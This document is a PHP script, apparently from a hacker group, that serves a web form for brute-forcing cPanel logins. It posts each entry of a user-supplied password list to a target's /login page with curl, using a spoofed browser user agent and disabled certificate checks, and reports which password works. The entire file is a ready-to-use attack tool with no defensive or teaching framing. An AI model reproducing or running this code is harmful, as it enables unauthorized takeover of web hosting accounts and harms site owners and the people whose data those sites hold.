Cpanel Brute Force

<?php
// ============================= //
# cPanel Brute Force
# Created by Lyonc
# Garuda Security Hacker
# Can Use On Localhost / cPanel
// ============================= //

error_reporting(0);

$lgurll = $_POST['lgurll'];
$user = $_POST['tguser'];
$passlists = $_POST['plists'];

echo '<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>cPanel Brute Force</title>
</head>
<body>
<center>
';

if(isset($_POST['startbf']) && !empty($lgurll) && !empty($user) && !empty($passlists)){
$listspass = explode("\r\n", $passlists);
if(isset($_POST['brift'])){
foreach($listspass as $pass){
if(logcp($lgurll, urlencode($user), urlencode($pass))){
echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="green">True</font><br/>'."\n";
break;
}else{
echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="red">False</font><br/>'."\n";
}
}
}else{
foreach($listspass as $pass){
if(logcp($lgurll, urlencode($user), urlencode($pass))){
echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="green">True</font><br/>'."\n";
}else{
echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="red">False</font><br/>'."\n";
}
}
}
}else{
echo '<form method="POST">
<b><font size="6" color="indigo">cPanel Brute Force</font></b><br/>
<font color="gray">Work On cPanel And Localhost</font><br/>
<b>Login Url</b><br/>
<input type="text" size="40" name="lgurll" placeholder="Login Url" value="'.htmlspecialchars($lgurll).'"><br/>
<b>Username</b><br/>
<input type="text" size="40" name="tguser" placeholder="Username" value="'.htmlspecialchars($user).'"><br/>
<b>Password Lists</b><br/>
<textarea cols="30" rows="8" name="plists" placeholder="pass1
pass2
pass3">'.htmlspecialchars($passlists).'</textarea><br/>
<input type="checkbox" name="brift" value="Break If True"><font color="blue">Break If True</font><br/>
<input type="submit" name="startbf" value="START">
</form>
';
}

echo '</center>
</body>';

function logcp($urllog, $login_email, $login_pass){
$cookielog = 'gsh_cookie';
$fp = fopen($cookielog, 'w');
fwrite($fp, '');
fclose($fp);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $urllog.'/login');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'user='.$login_email.'&pass='.$login_pass.'&login=Login');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookielog);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookielog);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3');
curl_setopt($ch, CURLOPT_REFERER, $urllog);
$page = curl_exec($ch) or die('<font color="red">Can\'t Connect to Host</font>');
if(!eregi('<title>cPanel Login</title>', $page)){
return TRUE;
}else{
return FALSE;
}
}
?>